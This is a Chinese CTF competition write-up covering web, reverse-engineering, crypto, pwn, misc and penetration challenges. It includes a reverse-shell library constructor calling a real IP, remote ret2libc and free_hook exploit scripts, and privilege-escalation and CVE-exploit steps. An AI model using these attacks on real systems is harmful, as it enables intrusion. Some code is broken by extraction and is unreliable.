招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)

web

ezDecryption

查看源代码发现一段编码

控制台运行解码

剩下内段base64解码

拼接发送到step3,得到flag

web-jaba_ez

源码审计,发现


  1. /api/job/add:用于添加一个任务。任务包含一个invokeTarget字符串,该字符串指定了要调用的Java类和方法
  2. /api/job/run/{jobName}:用于执行已添加的任务

同时存在两个黑白名单


  1. 黑名单:如果invokeTarget包含黑名单中的任何字符串,则拒绝
  2. 白名单:白名单:只有当invokeTarget包含白名单中的字符串时,才允许

注意到白名单要求invokeTarget中包含com.jabaez.FLAG。因此,我们的invokeTarget中必须包含这个字符串同时不能包含任何黑名单中的内容

那么我们可以通过动态链接库来执行系统命令,因为给了提示说可以出网,那么利用构造函数来直接反弹shell

#include <stdio.h>  
#include <unistd.h>  
#include <stdlib.h>  
__attribute__ ((constructor)) void run(void) {  
system('bash -c 'bash -i >& /dev/tcp/124.222.213.111/8000 0>&1'');  
}  

接着编译gcc -shared -fPIC -o com.jabaez.FLAG.so 1.c

接着上传

接着创建该任务

执行并触发恶意指令

最后得到flag

re

My-Key

直接看没啥思路,找字符表,发现个base64的基础表

跟进查看引用

再跟进查找谁调用了这个base64ee

base64下面的函数就是check,v29就是密文

回到前面看加密函数,发现是一个 RC6-32/20 + CBC + PKCS#7 ,过于复杂说是

先解释一下参数,a1是 密钥材料 ,a2是iV,a3是输入的明文,a4是加密后的结果

a1只在 RC6 的密钥扩展阶段被用来生成整套轮密钥(S 表,44 个 32-bit),随后每个分组加密/解密都只使用这套 S表

a2就是IV, IV用于第一块异或;随后 CBC 链式工作,即

exp:

from base64 import b64decode  

MASK = 0xFFFFFFFF  
R = 20  
PW = 0xB7E15163  
QW = 0x9E3779B9  

def rol(x, n):  
n &= 31  
return ((x << n) & MASK) | (x >> (32 - n))  

def ror(x, n):  
n &= 31  
return (x >> n) | ((x << (32 - n)) & MASK)  

def pkcs7_unpad(data, block=16):  
if not data or len(data) % block != 0:  
raise ValueError('bad length')  
pad = data[-1]  
if pad == 0 or pad > block:  
raise ValueError('bad pad')  
if data[-pad:] != bytes([pad]) * pad:  
raise ValueError('bad pad bytes')  
return data[:-pad]  

def kdf_from_pass_bytes(pass_bytes: bytes) -> bytes:  
'''把口令按 16/24/32 做 PKCS#7 凑长(与 sub_140003A40 一致)'''
n = len(pass_bytes)  
if n <= 16:  
target = 16  
elif n <= 24:  
target = 24  
else:  
target = 32  
padlen = target - n  
return pass_bytes + bytes([padlen]) * padlen  

def fix_iv(iv_raw: bytes) -> bytes:  
'''IV 长度修正:不足补 0,超长截断到 16'''
if len(iv_raw) == 16:  
return iv_raw  
if len(iv_raw) < 16:  
return iv_raw + b'x00' * (16 - len(iv_raw))  
return iv_raw[:16]  

def rc6_key_schedule(key_bytes: bytes):  
'''对应 sub_1400035A0:RC6 S 表,长度 2*r+4 = 44'''
b = len(key_bytes)  
c = (b + 3) // 4  
L = [0] * c  
for i in range(b):  
L[i // 4] |= key_bytes[i] << (8 * (i % 4)) # 小端装入  
t = 2 * R + 4 # 44  
S = [0] * t  
S[0] = PW  
for i in range(1, t):  
S[i] = (S[i - 1] + QW) & MASK # 等价于源码里的减 0x61C88647  
A = B = i = j = 0  
n = 3 * max(t, c if c else 1)  
for _ in range(n):  
A = S[i] = rol((S[i] + A + B) & MASK, 3)  
if c:  
B = L[j] = rol((L[j] + A + B) & MASK, (A + B) & 31)  
i = (i + 1) % t  
j = (j + 1) % c  
else:  
i = (i + 1) % t  
return S  

def rc6_decrypt_block(block16: bytes, S):  
'''与 sub_140003840 对应的解密(A/C 后置加法的逆序处理)'''
A = int.from_bytes(block16[0:4], 'little')  
B = int.from_bytes(block16[4:8], 'little')  
C = int.from_bytes(block16[8:12], 'little')  
D = int.from_bytes(block16[12:16], 'little')  

# 先撤销加在 A、C 上的后置 S  
C = (C - S[2 * R + 3]) & MASK  
A = (A - S[2 * R + 2]) & MASK  

for i in range(R, 0, -1):  
# 逆向轮换 (A,B,C,D) = (D,A,B,C)  
A, B, C, D = D, A, B, C  
u = rol((D * ((D << 1) + 1)) & MASK, 5)  
t = rol((B * ((B << 1) + 1)) & MASK, 5)  
C = ror((C - S[2 * i + 1]) & MASK, t & 31) ^ u  
A = ror((A - S[2 * i]) & MASK, u & 31) ^ t  

# 撤销前置加在 B、D 上的 S[0], S[1]  
D = (D - S[1]) & MASK  
B = (B - S[0]) & MASK  

return (  
A.to_bytes(4, 'little')  
+ B.to_bytes(4, 'little')  
+ C.to_bytes(4, 'little')  
+ D.to_bytes(4, 'little')  
)  

def cbc_decrypt_rc6(cipher: bytes, key_material: bytes, iv_raw: bytes) -> bytes:  
key_bytes = kdf_from_pass_bytes(key_material)  
S = rc6_key_schedule(key_bytes)  
iv = fix_iv(iv_raw)  
out = bytearray()  
prev = iv  
for off in range(0, len(cipher), 16):  
cblk = cipher[off:off+16]  
pblk = rc6_decrypt_block(cblk, S)  
pblk = bytes(x ^ y for x, y in zip(pblk, prev)) # CBC 异或  
out += pblk  
prev = cblk  
return pkcs7_unpad(bytes(out))  

# ==== 你的三段数据 ====  
b64_ct = 'RKCTaz+fty1J2qsz4DI6t9bmMiLBxqFrpI70fU4IMemczIlM+z1IoVQobIt1MbXF'
iv_bytes = b'WcE4Bbm4kHYQsAcX'
pass_bytes = b'FSZ36f3vU8s5'

pt = cbc_decrypt_rc6(b64decode(b64_ct), pass_bytes, iv_bytes)  
print(pt.decode('utf-8'))  

EasyRE

main中有很多提示和check模块,有反调试先nop掉了,密文是byte_14001D658

主要逻辑大部分都在 sub_140001070 ,有点像是rc4,但是没有密钥的参与

exp:

TARGET = [  
0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A,  
0x50, 0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40,  
0x95, 0x70, 0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57  
]  

def rol8(x, n):  
x &= 0xFF  
n &= 7  
return ((x << n) | (x >> (8 - n))) & 0xFF  

def ror8(x, n):  
x &= 0xFF  
n &= 7  
return ((x >> n) | (x << (8 - n))) & 0xFF  

def init_state():  
S = list(range(256))  
v8 = 0  
for idx in range(256):  
v11 = S[idx]  
v8 = (v8 + v11 - 7 * (idx // 7) + idx + 4919) & 0xFF  
S[idx], S[v8] = S[v8], S[idx]  
return S  

def invert_tail_chain(out_bytes):  
n = len(out_bytes)  
pre = [0] * n  
for i in range(n):  
if i == 0:  
pre[i] = out_bytes[i] ^ 0x42  
else:  
pre[i] = out_bytes[i] ^ out_bytes[i - 1] ^ 0x42  
pre[i] &= 0xFF  
return pre  

def decrypt_target(target_bytes):  
n = len(target_bytes)  
pre = invert_tail_chain(target_bytes)  

S = init_state()  

v14 = 0  
v15 = 0  
inp = [0] * n  
for i in range(n):  
v14 = (v14 + 1) & 0xFF  

if (v14 % 3) == 0:  
v20 = (S[(3 * v14) & 0xFF] + v15) & 0xFF  
else:  
v20 = (S[v14] + v15) & 0xFF  
v15 = v20  

v21 = S[v14]  
S[v14], S[v15] = S[v15], S[v14]  

A = (v14 * v15) % 16  
K = S[(v21 + S[v14]) & 0xFF]  

inner = ror8(pre[i], 3)  

t = (inner - A) & 0xFF  
inp[i] = t ^ K  

return bytes(inp)  

def main():  
target = bytes(TARGET)  
res = decrypt_target(target)  

print('Recovered bytes (hex):', res.hex())  
try:  
s = res.decode('utf-8')  
except UnicodeDecodeError:  
s = res.decode('latin-1')  
print('Recovered string :', s)  

if __name__ == '__main__':  
main()  

cookie

签到题,去花之后就是一个魔改tea直接写脚本就行

#!/usr/bin/env python3  
import struct  

MASK = 0xFFFFFFFF  
DELTA = 0x768CAB2E  

# key 对应 v6 = {2, 0, 2, 2}  
K = [0x00000002, 0x00000000, 0x00000002, 0x00000002]  

# 密文对应 v7  
C = [  
0x569A1C45, 0xEF2C6A10,  
0xFB440BD6, 0x5797F41D,  
0x523FF2C3, 0x48337CD9,  
0x3616AC2D, 0x06B6312D, # 注意这里是 0x06B6312D  
]  

def u32(x): return x & MASK  

def dec_block(v0, v1, k):  
'''解密单个 64-bit 分组(2×u32)'''
sum_ = u32(-32 * DELTA)  
for _ in range(32):  
v1 = u32(v1 - (sum_ ^ (v0 + sum_) ^ (u32(16 * v0) + k[2]) ^ ((v0 >> 5) + k[3])))  
v0 = u32(v0 - (sum_ ^ (v1 + sum_) ^ (u32(16 * v1) + k[0]) ^ ((v1 >> 5) + k[1])))  
sum_ = u32(sum_ + DELTA)  
return v0, v1  

def enc_block(v0, v1, k):  
'''用于校验:按题目函数再加密一次,看是否回到密文'''
sum_ = 0  
for _ in range(32):  
sum_ = u32(sum_ - DELTA)  
v0 = u32(v0 + (sum_ ^ (v1 + sum_) ^ (u32(16 * v1) + k[0]) ^ ((v1 >> 5) + k[1])))  
v1 = u32(v1 + (sum_ ^ (v0 + sum_) ^ (u32(16 * v0) + k[2]) ^ ((v0 >> 5) + k[3])))  
return v0, v1  

# 解出明文字节  
pt = bytearray()  
for i in range(0, len(C), 2):  
p0, p1 = dec_block(C[i], C[i+1], K)  
pt += struct.pack('<II', p0, p1) # 与题目一致的小端字序  

# 打印结果  
print('plaintext (hex):', pt.hex())  
try:  
s = pt.decode('utf-8')  
except UnicodeDecodeError:  
s = pt.decode('latin1')  
print('plaintext (str):', s)  

# 可选:回加密校验  
ok = True  
for i in range(0, len(pt), 8):  
v0, v1 = struct.unpack('<II', pt[i:i+8])  
c0, c1 = enc_block(v0, v1, K)  
if c0 != C[i//4*2] or c1 != C[i//4*2+1]:  
ok = False  
break
print('re-encrypt matches ciphertext:', ok)  

crypto

AES_GCM_IV_Reuse

import base64  
from Crypto.Cipher import AES  

key = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF')  
iv = bytes.fromhex('000102030405060708090A0B0C0D0E0F')  

with open('cipher.bin''rb') as f:  
b64_data = b''.join(f.read().split())  
cipher_bytes = base64.b64decode(b64_data)  

cipher = AES.new(key, AES.MODE_CBC, iv)  
decrypted = cipher.decrypt(cipher_bytes)  

def unpad_80_00(data: bytes) -> bytes:  
i = len(data) - 1  
while i >= 0 and data[i] == 0x00:  
i -= 1  
if i < 0 or data[i] != 0x80:  
raise ValueError('Invalid padding')  
return data[:i]  

pt = unpad_80_00(decrypted)  

with open('plaintext.bin''wb') as f:  
f.write(pt)  

print(pt.decode('utf-8', errors='ignore'))  

多重Caesar密码

myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}

我们可以拿myfz{来对照flag{

f(6)——>m(13)+7

l(12)——>y(25)+13

a(1)——>f(6)+5

g(7)——>z(26)+19

那么我们可以得到一个7 13 5 19的序列

因为包含caesar字符串,我们取6个字的pfxddi来做推理

经尝试,当九个字符为一组时,符合7,13,5,19,3,17,23,2,11的规律

于是可以得出

flag{easy_caesar_with_multiple_shifts_2025}

rsa

import math  
from Crypto.Util.number import long_to_bytes  

n = 143504495074135116523479572513193257538457891976052298438652079929596651523432364937341930982173023552175436173885654930971376970322922498317976493562072926136659852344920009858340197366796444840464302446464493305526983923226244799894266646253468068881999233902997176323684443197642773123213917372573050601477  
c = 141699518880360825234198786612952695897842876092920232629929387949988050288276438446103693342179727296549008517932766734449401585097483656759727472217476111942285691988125304733806468920104615795505322633807031565453083413471250166739315942515829249512300243607424590170257225854237018813544527796454663165076  
e = 65537  
t = 530  
d_low = 1761714636451980705225596515441824697034096304822566643697981898035887055658807020442662924585355268098963915429014997296853529408546333631721472245329506038801  

def is_square(z):  
if z < 0: return False, 0  
r = math.isqrt(z)  
return r*r == z, r  

def solve(n, e, t, d_low, c=None):  
a = e * (1 << t)  
b = (e * d_low - 1) % a  
sqrt_n = math.isqrt(n)  

for k in range(1, e):  
g = math.gcd(k, a)  
if b % g != 0:  
continue
a1, k1, b1 = a//g, k//g, b//g  
if math.gcd(k1, a1) != 1:  
continue
invk1 = pow(k1, -1, a1)  
phi0 = (b1 * invk1) % a1  
z0 = (n - phi0) // a1  
# 由于 a1 > sqrt(n),只需要很小的窗口  
for dz in range(-3, 4):  
phi = phi0 + a1 * (z0 + dz)  
if not (1 < phi < n):  
continue
s = n - phi + 1  
ok, r = is_square(s*s - 4*n)  
if not ok:  
continue
p = (s - r)//2  
q = (s + r)//2  
if p*q != n:  
continue
d = pow(e, -1, (p-1)*(q-1))  
m = pow(c, d, n)  
return long_to_bytes(m)  
return None  

print(solve(n, e, t, d_low, c))  

pwn

account

  • 查看主函数
  • 接着查看vul函数
  • 发现调用了puts函数,通过填充栈并传入特定地址泄露 puts 函数真实地址,算出 libc 基址;再重复填充栈
from pwn import *

p=remote('pss.idss-cn.com’,56619)

elf = ELF('./1')

context(os='linux', arch='i386', log_level='debug')

libc = ELF('./libc-2.31.so')

s = lambda a: p.send(a)

sa = lambda a, b: p.sendafter(a, b)

sl = lambda a: p.sendline(a)

sla = lambda a, b: p.sendlineafter(a, b)

li = lambda a: print(hex(a))

r = lambda: p.recv()

pr = lambda: print(p.recv())

rl = lambda a: p.recvuntil(a)

inter = lambda: p.interactive()

get_32 = lambda: u32(p.recvuntil(b'xf7')[-4:])

rl(b'Enter your bill, enter 0 to exit:')

for i in range(12):

sl(str(0xc))

sl(str(elf.plt['puts']))

sl(str(0x8049264)) # main address

sl(str(elf.got['puts']))

sl(str(0))

libc_base = get_32() - libc.sym['puts']

system = libc_base + libc.sym['system']

bin_sh = libc_base + next(libc.search(b'/bin/shx00'))

li(libc_base)

li(system)

li(bin_sh)

rl(b'Enter your bill, enter 0 to exit:')

for i in range(12):

sl(str(0xc))

sl(str(system - 0x100000000))

sl(str(0x1))

sl(str(bin_sh - 0x100000000))

sl(str(0))

inter()  
  • 得到flag

user

  • 查看主函数
  • 继续查看,发现可以利用越界泄露libc 基地址,再将 free_hook 劫持为 system 函数,多跑几遍要
from pwn import *

p = remote('pss.idss-cn.com', 12213)

context(os='linux', arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

s = lambda a: p.send(a)

sa = lambda a, b: p.sendafter(a, b)

sl = lambda a: p.sendline(a)

sla = lambda a, b: p.sendlineafter(a, b)

li = lambda a: print(hex(a))

r = lambda: p.recv()

pr = lambda: print(p.recv())

rl = lambda a: p.recvuntil(a)

inter = lambda: p.interactive()

get_32 = lambda: u32(p.recvuntil(b'xf7')[-4:])

get_addr = lambda: u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))

def choice(i):

sla(b'5. Exit', str(i))

def add(content):

choice(1)

sa(b'Enter your username:', content)

def delete(idx):

choice(2)

sla(b'index:', str(idx))

def edit(idx, content):

choice(4)
第十届上海大学生网络安全大赛线上赛 writeup by Mini-Venom

sla(b'index:', idx)

sa(b'Enter a new username:', content)

add(b'/bin/shx00')

add(b'/bin/shx00')

edit(b'-8', p64(0xfbad1800) + p64(0)*3 + b'x00')

libc_base = get_addr() - 0x1ec980

edit(b'-11', p64(libc_base + libc.sym['__free_hook']))

edit(b'-11', p64(libc_base + libc.sym['system']))

delete(0)

p.interactive()
  • 得到flag

misc

ModelUnguilty

直接把附件和提示交给AI

能跑出来

交上就有flag了

两个数

第一关反转二进制转换后,再转八进制,再换成ASCII码

可以得到

C0ngr4tu1ation!!Y0u_hav3_passed_th3_first_l3ve1!!

第二关提示8bit,我们按01互换再反转一下再按八位一组的格式进行转换得到

y0U_hav3_arriv3_th3_sec0nd_1evel!!!!!

第三关有点抽象,按两位一组分,8位分得4组,6为分成3组,之后转格雷码再转ASCII

得到

Welc0m3_T0_l3ve1_thr3e!!!!

第四关就容易多了,一眼01转像素

from PIL import Image  
import math  

def binary_to_image(binary_str, output_path, width=None, height=None):  
'''  
将二进制字符串转换为图片  

参数:  
binary_str: 由0和1组成的字符串  
output_path: 输出图片路径(如'
output.png')  
width: 图片宽度(若不指定则自动计算)  
height: 图片高度(若不指定则自动计算)  
'
''
# 检查输入是否合法  
for c in binary_str:  
if c not in ('0''1'):  
raise ValueError('输入字符串必须只包含0和1')  

# 计算像素总数  
total_pixels = len(binary_str)  
if total_pixels == 0:  
raise ValueError('输入字符串不能为空')  

# 自动计算宽高(优先保证接近正方形)  
if width is None and height is None:  
width = int(math.sqrt(total_pixels))  
# 确保宽度能被总像素数整除  
while total_pixels % width != 0 and width > 1:  
width -= 1  
height = total_pixels // width  

# 检查宽高是否合法  
if width * height != total_pixels:  
raise ValueError(f'宽高乘积({width}x{height}={width * height})必须等于二进制字符串长度({total_pixels})')  

# 将二进制转换为像素值(0->黑色(0),1->白色(255))  
pixels = [255 if c == '1'else 0 for c in binary_str]  

# 创建并保存图片  
img = Image.new('L', (width, height)) # 'L'模式表示8位灰度图  
img.putdata(pixels)  
img.save(output_path)  
print(f'图片已成功保存至: {output_path}')  

if __name__ == '__main__':  
binary_data = '二进制字符串'
binary_to_image(binary_data, 'auto_size.png')  

一开始得到的是一个斜着的二维码,稍加处理可以得到一个完整的二维码

扫描得到下一层的密码

最后一关

注意到文件名都是浮点数

可以发现一个规律:整数位只有0和1

根据题目都是围绕0和1来做文章这一点推测——小数位为数字顺序,而整数位是对应的数字

例如:0.1代表第一位是0,1.2代表第二位是1,那么0.1、1.2、0.3、1.4

就可以对应0101

由此可以写脚本处理:

#!/usr/bin/env python3  
import argparse  
import re  
from pathlib import Path  
import sys  

def main():  
parser = argparse.ArgumentParser(  
description='按 . 后面的数字排序,并输出 . 前面的 0/1'
)  
parser.add_argument('dir', nargs='?', default='last_level',  
help='目标文件夹(默认:last_level)')  
parser.add_argument('--join', action='store_true',  
help='将输出拼成一行字符串')  
args = parser.parse_args()  

base = Path(args.dir)  
if not base.is_dir():  
print(f'错误:目录不存在:{base}', file=sys.stderr)  
sys.exit(1)  

# 仅匹配形如 0.12 / 1.345 的文件名  
pat = re.compile(r'^(0|1).(d+)$')  

items = []  
for entry in base.iterdir():  
if not entry.is_file():  
continue
m = pat.match(entry.name)  
if not m:  
continue
bit = int(m.group(1)) # 0 或 1  
idx = int(m.group(2)) # 排序依据  
items.append((idx, bit))  

if not items:  
print('未找到符合规则的文件(形如 0.数字 或 1.数字)。', file=sys.stderr)  
sys.exit(2)  

items.sort(key=lambda x: x[0]) # 按 . 后数字升序  

bits = [str(bit) for _, bit in items]  
if args.join:  
print(''.join(bits),end = '')  
else:  
for b in bits:  
print(b,end = '')  

if __name__ == '__main__':  
main()  

最后将二进制转换成ascii码,得到flag

derderjia

wireshark打开拉到最后一个HTTP协议的包

发现在读一个server_key.txt,打开一看发现是TLS的key

将密钥文件导入到NETA一把梭工具,自动分析出一个加密压缩包

需要的密码在最后的DNS流量能找到

base64解密得到

解压得到png,上传至随波逐流解码工具,得到一张修复宽高的图片,图片中即为flag

easy_misc

foremost分离secret图片

打开压缩包发现是伪加密,修改解压

接下来拿去解密

得到另一个密码,直接解压得到flag

数据安全赛道

ACL_Allow_Count

AI脚本如下

allow_count = 0  

with open('traffic.txt''r') as f:  
for line in f:  
line = line.strip()  
if not line:  
continue
proto, src, dst, dport_str = line.split()  
dport = int(dport_str)  

if proto == 'tcp' and dport == 23:  
continue
if proto == 'udp' and dport == 22:  
continue
allow_count += 1  

print(f'flag{{{allow_count}}}')  

跑出结果flag{1729}

SQLi_Detection

import re  

def count_sql_injections(log_file):  
count = 0  

boolean_pattern = re.compile(r''s*(OR|AND)s*', re.IGNORECASE)  
union_pattern = re.compile(r''s*UNIONs+SELECTs*', re.IGNORECASE)  
stack_pattern = re.compile(r'';s*(DROP|DELETE|UPDATE|INSERT|ALTER|TRUNCATE)s+', re.IGNORECASE)  

try:  
with open(log_file, 'r', encoding='utf-8') as f:  
for line in f:  
if boolean_pattern.search(line) or union_pattern.search(line) or stack_pattern.search(line):  
count += 1  
return count  
except FileNotFoundError:  
print(f'Error: File '{log_file}' not found')  
return -1  
except Exception as e:  
print(f'Error processing file: {str(e)}')  
return -1  

if __name__ == '__main__':  
log_file = 'logs.txt'
injection_count = count_sql_injections(log_file)  
if injection_count >= 0:  
print(f'flag{{{injection_count}}}')  

跑出来是415条

JWT_Weak_Secret

  • 叫ai写个脚本
import jwt  
import base64  
import json  
from jwt.exceptions import InvalidSignatureError, DecodeError  

def load_file_content(filename):  
'''读取文件内容并返回'''
with open(filename, 'r') as f:  
return f.read()  

def load_lines(filename):  
'''读取文件并返回非空行列表'''
with open(filename, 'r') as f:  
return [line.strip() for line in f if line.strip()]  

def get_jwt_algorithm(token):  
'''解析JWT头部获取算法,无效则返回None'''
parts = token.split('.')  
if len(parts) != 3:  
return None  

hdr_b64 = parts[0]  
try:  
# 补全Base64URL编码  
hdr_b64 += '=' * ((4 - len(hdr_b64) % 4) % 4)  
hdr_json = base64.urlsafe_b64decode(hdr_b64).decode('utf-8')  
alg = json.loads(hdr_json).get('alg')  
return alg if alg in ['HS256''RS256'else None  
except (base64.binascii.Error, json.JSONDecodeError):  
return None  

def verify_jwt_signature(token, alg, passwords, public_key):  
'''验证JWT签名,返回(payload, 是否有效)'''
try:  
if alg == 'HS256':  
forpwdin passwords:  
try:  
payload = jwt.decode(  
token, pwd, algorithms=['HS256'],  
options={'verify_exp': False}  
)  
return (payload, True)  
except (InvalidSignatureError, DecodeError):  
continue
return (None, False)  

elif alg == 'RS256':  
payload = jwt.decode(  
token, public_key, algorithms=['RS256'],  
options={'verify_exp': False}  
)  
return (payload, True)  

except (InvalidSignatureError, DecodeError):  
return (None, False)  

def is_admin(payload):  
'''检查payload是否满足管理员权限条件'''
return (payload.get('admin') is True) or   
(payload.get('role'in ['admin''superuser'])  

def main():  
# 加载必要资源  
jwt_tokens = load_lines('tokens.txt')  
passwords = load_lines('wordlist.txt')  
public_key = load_file_content('public.pem')  
valid_ids = []  

# 处理每个令牌  
for token_id, token in enumerate(jwt_tokens, start=1):  
# 获取算法  
alg = get_jwt_algorithm(token)  
if not alg:  
continue

# 验证签名  
payload, sig_valid = verify_jwt_signature(token, alg, passwords, public_key)  
if not sig_valid or not payload:  
continue

# 检查管理员权限  
if is_admin(payload):  
valid_ids.append(str(token_id))  

# 生成结果  
print(f'flag{{{':'.join(valid_ids)}}}')  

if __name__ == '__main__':  
main()  
  • 得到flag

AES_Custom_Padding

脚本如下

import base64  
from Crypto.Cipher import AES  

KEY = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF')  
IV = bytes.fromhex('000102030405060708090A0B0C0D0E0F')  

with open('cipher.bin''rb') as f:  
ciphertext = base64.b64decode(f.read())  

cipher = AES.new(KEY, AES.MODE_CBC, IV)  
plaintext_padded = cipher.decrypt(ciphertext)  

def remove_custom_padding(data: bytes) -> bytes:  
index = len(data) - 1  
while index >= 0 and data[index] == 0x00:  
index -= 1  
if index >= 0 and data[index] == 0x80:  
return data[:index]  
else:  
raise ValueError('Invalid custom padding: 0x80 terminator not found')  

plaintext = remove_custom_padding(plaintext_padded)  
print(plaintext.decode(errors='replace'))  

DB_Log

脚本如下

import re
import hashlib
from datetime import datetime


def parse_user_permissions(filename):
    user_info = {}
    with open(filename, 'r') as f:
        for line in f:
            parts = line.strip().split(', ')
            if len(parts) < 6:
                continue
            user_id, username, dept, tables, operations, role = parts
            user_info[username] = {
                'dept': dept,
                'tables': tables.split(';'),
                'operations': operations.split(';'),
                'role': role
            }
    return user_info


def parse_database_logs(filename):
    logs = []
    with open(filename, 'r') as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            log_id = int(line.split()[0])
            datetime_str = line.split()[1] + ' ' + line.split()[2]
            username = line.split()[3]
            operation = line.split()[4]

            table_name = None
            if operation in ['QUERY''BACKUP']:
                table_match = re.search(r'QUERY (w+) |BACKUP (w+)', line)
                if table_match:
                    table_name = table_match.group(1) or table_match.group(2)

            fields = []
            field_match = re.search(r'field=(w+)', line)
            if field_match:
                fields.append(field_match.group(1))
            fields_match = re.findall(r'field=(w+)', line)
            fields.extend(fields_match)

            op_detail = None
            op_match = re.search(r'operation=(w+)', line)
            if op_match:
                op_detail = op_match.group(1)

            logs.append({
                'id': log_id,
                'datetime': datetime.strptime(datetime_str, '%Y-%m-%d %H:%M:%S'),
                'username': username,
                'operation': operation,
                'table': table_name,
                'fields': fields,
                'op_detail': op_detail
            })
    return logs


def check_violations(logs, user_info):
    violations = []

    dept_tables = {
        'HR': ['employee_info''salary_data''personal_info'],
        'Finance': ['financial_reports''budget_data''payment_records'],
        'IT': ['system_logs''server_data''network_config'],
        'Sales': ['customer_data''sales_records''product_info']
    }

    sensitive_fields = ['salary''ssn''phone''email''address']

    forlogin logs:
        log_id = log['id']
        username = log['username']
        operation = log['operation']
        table = log['table']
        fields = log['fields']
        dt = log['datetime']

        if username not in user_info:
            continue

        user_dept = user_info[username]['dept']
        user_role = user_info[username]['role']

        if table and user_dept in dept_tables and table not in dept_tables[user_dept]:
            violations.append(f'1-{log_id}')

        if any(field in sensitive_fields for field in fields):
            violations.append(f'2-{log_id}')

        if 0 <= dt.hour < 5:
            violations.append(f'3-{log_id}')

        if operation == 'BACKUP' and user_role != 'admin':
            violations.append(f'4-{log_id}')

    violations.sort(key=lambda x: int(x.split('-')[1]))
    return violations


def main():
    user_info = parse_user_permissions('user_permissions.txt')
    logs = parse_database_logs('database_logs.txt')
    violations = check_violations(logs, user_info)
    violations_str = ','.join(violations)
    md5_hash = hashlib.md5(violations_str.encode()).hexdigest()
    print(f'flag{{{md5_hash}}}')


if __name__ == '__main__':
    main()

Brute_Force_Detection

  • 描述全丢给ai,一把梭
from datetime import datetime
from collections import defaultdict

# Initialize a dictionary to store consecutive failure timestamps per (IP, user) pair
attempts = defaultdict(list)
# Set to store IPs that match the pattern
matching_ips = set()

# Process each log line
log_lines = '''2025-07-20 09:00:00 SUCCESS user=bob ip=192.168.1.19
2025-07-20 09:01:25 SUCCESS user=bob ip=192.168.9.15
2025-07-20 09:02:07 SUCCESS user=alice ip=192.168.5.15
2025-07-20 09:04:01 SUCCESS user=dave ip=192.168.4.19
太长了就不放上来了
2025-07-22 01:03:37 SUCCESS user=alice ip=192.168.3.11
2025-07-22 01:04:21 SUCCESS user=dave ip=192.168.0.15
2025-07-22 01:06:20 SUCCESS user=dave ip=192.168.9.18'
''.splitlines()

for line in log_lines:
    if not line.strip():
        continue
    parts = line.split()
    timestamp_str = ' '.join(parts[0:2])
    result = parts[2]
    user = parts[3].split('=')[1]
    ip = parts[4].split('=')[1]
    timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S')
    key = (ip, user)

    if result == 'FAIL':
        # Append failure timestamp to the list for this (IP, user)
        attempts[key].append(timestamp)
    elif result == 'SUCCESS':
        # Check if there are at least 5 consecutive failures
        if len(attempts[key]) >= 5:
            # Time difference between the fifth-to-last failure and the success
            time_diff = (timestamp - attempts[key][-5]).total_seconds()
            if time_diff <= 600:  # 10 minutes = 600 seconds
                matching_ips.add(ip)
        # Reset the list after a success
        attempts[key] = []

# Sort IPs and construct the flag
sorted_ips = sorted(matching_ips)
flag = 'flag{' + ':'.join(sorted_ips) + '}'

print(flag)

信息泄露引发的血案

flag01

  • dirsearch扫后台发现有readme.txt
  • 源码丢给ai问他怎么读取C:UsersAdministratorDesktopflag,给出payload
  • 得到flag

一条龙“服务”渗透

flag01

  • nmap端口扫描
  • 扫后台,发现.json
  • 在.json路由下发现大量泄露的信息,同时发现ssh相关的信息
  • 拿去解密一下


  • 随便尝试一下用户名,发现admin可以登录,同时在admin目录下发现了id_rsa,直接用这个进行登录,得到flag

flag02

  • 传个fscan来扫
  • 开个ssh隧道
  • 访问发现这是一个jenkins,在之前找到了一段类似于jenkins的令牌
  • 有验证头直接进
  • 接着参考https://blog.csdn.net/qq_45434762/article/details/11529141
  • 最后提取出密码https://cloud.tencent.com/developer/article/2139679
  • 登录,接下来查看权限,进行提权,得到flag

清晨的第一缕阳光

flag01

  • fscan直接扫,发现开放8080端口
  • 继续扫路径,发现存在一个status
  • 直接上漏扫
  • 直接读flag

夜色最浓时

flag01

禁用icmp,扫描可得端口开放如下

发现geoserver,用现成工具一把梭

执行命令查看权限

虽然是乱码,但是不妨碍我们能识别出是烂土豆提权

flag02

  • fscan直接扫,直接扫出来PostgreSQL服务的用户名和密码,直接进行登录

PostgreSQL服务 192.168.188.223:5432 成功爆破 用户名: postgres 密码: postgres

之后新建查询,能直接执行命令

sudo -l发现不需要密码,直接sudo cat /root/flag即可

后续发现能用passwd直接修改root密码,登陆ssh

echo -e ‘1234n1234’ | sudo passwd root

flag03

  • fscan直接扫,发现开放了2222端口,这个端口存在一个漏洞,参考链接https://www./snowlab/38022acf-50fb-4a4a-b325-8c13c5d7d688/使用的工具链接https://github.com/vulhub/vulhub/blob/master/erlang/CVE-2025-32433/exploit.py

  • 发现无回显,直接反弹shell

  • 监听得到flag


结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]